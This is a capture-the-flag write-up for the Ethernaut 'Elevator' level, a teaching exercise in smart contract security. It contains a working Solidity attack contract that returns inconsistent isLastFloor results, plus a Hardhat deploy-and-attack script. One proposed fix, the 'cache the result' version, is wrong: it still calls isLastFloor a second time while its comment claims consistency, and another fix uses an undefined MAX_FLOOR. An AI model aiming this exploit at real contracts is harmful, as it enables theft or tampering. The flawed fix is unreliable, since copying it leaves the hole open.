March 15, 2024

Elevator Challenge - Ethernaut Level 11

6 min readDifficulty: Medium

Challenge Description

ElevatorSolidityInterfacesLevel 11

Challenge Goal

Reach the top floor of the elevator by manipulating the isLastFloor function to return different values on consecutive calls. This requires understanding how external contract calls can have side effects and how to exploit inconsistent state between function calls.

The Vulnerable Contract

Here's the smart contract we'll be exploiting:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

The Vulnerability

The vulnerability in this contract is subtle but exploitable. The issue is in the goTo function:

  1. Interface Function Not Marked as View: The isLastFloor function in the Building interface is not marked as view, which means it can modify state.
  2. Double Function Call: The contract calls isLastFloor twice with the same input but expects consistent results.
  3. State Change Between Calls: Between the first and second call to isLastFloor, the attacker can change the function's behavior.

The attack flow works as follows:

  1. First call to isLastFloor(_floor) returns false to pass the if check
  2. The floor is set to the input value
  3. Second call to isLastFloor(floor) returns true to set top to true

The Attack Contract

Here's the attack contract that exploits this vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./elevator.sol";

contract ElevatorAttack is Building {
    bool public isFirstCall = true;
    
    function isLastFloor(uint256) external returns (bool) {
        if (isFirstCall) {
            isFirstCall = false;
            return false; // First call returns false to allow floor change
        } else {
            return true; // Second call returns true to set top to true
        }
    }
    
    function attack(address elevator) external {
        Elevator(elevator).goTo(1);
    }
}

How the Attack Works

Attack Flow:

  1. Deploy Attack Contract: Deploy the ElevatorAttack contract that implements the Building interface
  2. Call goTo: Call the attack function which calls goTo(1) on the elevator
  3. First isLastFloor Call: The elevator calls isLastFloor(1) on our contract, which returns false and sets isFirstCall = false
  4. Floor Update: The elevator sets floor = 1
  5. Second isLastFloor Call: The elevator calls isLastFloor(1) again, but this time our function returns true
  6. Top Set: The elevator sets top = true, completing the challenge

Key Attack Code:

// The critical part - our isLastFloor function
function isLastFloor(uint256) external returns (bool) {
    if (isFirstCall) {
        isFirstCall = false;
        return false; // First call returns false to allow floor change
    } else {
        return true; // Second call returns true to set top to true
    }
}

Deployment and Execution Script

Here's the script to deploy and execute the attack:

const { ethers } = require("hardhat");

async function main() {
  // Get the Elevator contract instance
  const elevatorAddress = process.env.ELEVATOR_ADDRESS;
  
  console.log(`Targeting Elevator contract at: ${elevatorAddress}`);
  
  // Get the signer
  const [attacker] = await ethers.getSigners();
  console.log(`Attacker address: ${attacker.address}`);
  
  // Deploy the attack contract
  console.log("Deploying ElevatorAttack contract...");
  const ElevatorAttack = await ethers.getContractFactory("ElevatorAttack");
  const attackContract = await ElevatorAttack.deploy();
  await attackContract.waitForDeployment();
  
  console.log(`ElevatorAttack deployed to: ${await attackContract.getAddress()}`);
  
  // Execute the attack
  console.log("Executing attack...");
  const attackTx = await attackContract.attack(elevatorAddress);
  await attackTx.wait();
  
  // Check if we reached the top
  const Elevator = await ethers.getContractFactory("Elevator");
  const elevatorContract = await Elevator.attach(elevatorAddress);
  const top = await elevatorContract.top();
  console.log(`Reached top floor: ${top}`);
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

Security Lessons

  • Interface Function Visibility: Always mark interface functions as view if they don't need to modify state. This prevents unexpected side effects.
  • Consistent External Calls: Don't assume that calling the same external function twice will return the same result, especially if the function can modify state.
  • Cache Results: If you need consistent results from external calls, cache the result instead of calling the function multiple times.
  • State Validation: Use internal state to validate inputs rather than trusting external contract responses.
  • Function Purity: Be explicit about function purity in interfaces to prevent state-changing functions from being called unexpectedly.

Prevention

Here's how you could fix the vulnerable contract:

// Fixed version 1: Mark interface function as view
interface Building {
    function isLastFloor(uint256) external view returns (bool);
}

// Fixed version 2: Cache the result
function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);
    
    // Cache the result to ensure consistency
    bool isLast = building.isLastFloor(_floor);
    
    if (!isLast) {
        floor = _floor;
        top = building.isLastFloor(floor); // This will now be consistent
    }
}

// Fixed version 3: Use internal validation
function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);
    
    // Validate floor internally instead of trusting external call
    require(_floor <= MAX_FLOOR, "Floor too high");
    
    if (!building.isLastFloor(_floor)) {
        floor = _floor;
        top = (_floor == MAX_FLOOR); // Use internal logic
    }
}

Why This Vulnerability Matters

This vulnerability demonstrates an important principle in smart contract security: external calls can have side effects. Even seemingly simple function calls can change state in ways that affect subsequent calls.

In real-world scenarios, this type of vulnerability could be exploited in:

  • Oracle Manipulation: External price feeds or data sources that can be manipulated
  • Cross-Contract State: Contracts that rely on state from other contracts
  • Access Control: Functions that check permissions from external contracts
  • Validation Logic: Any validation that depends on external contract responses

Conclusion

The Elevator challenge teaches us about the importance of function purity and consistent external calls in smart contracts. The key takeaway is to always be explicit about whether functions can modify state and to avoid making assumptions about the consistency of external function calls.

This vulnerability shows why it's crucial to understand the difference between view and state-modifying functions, and why caching results from external calls can be a valuable security practice.

Your Notes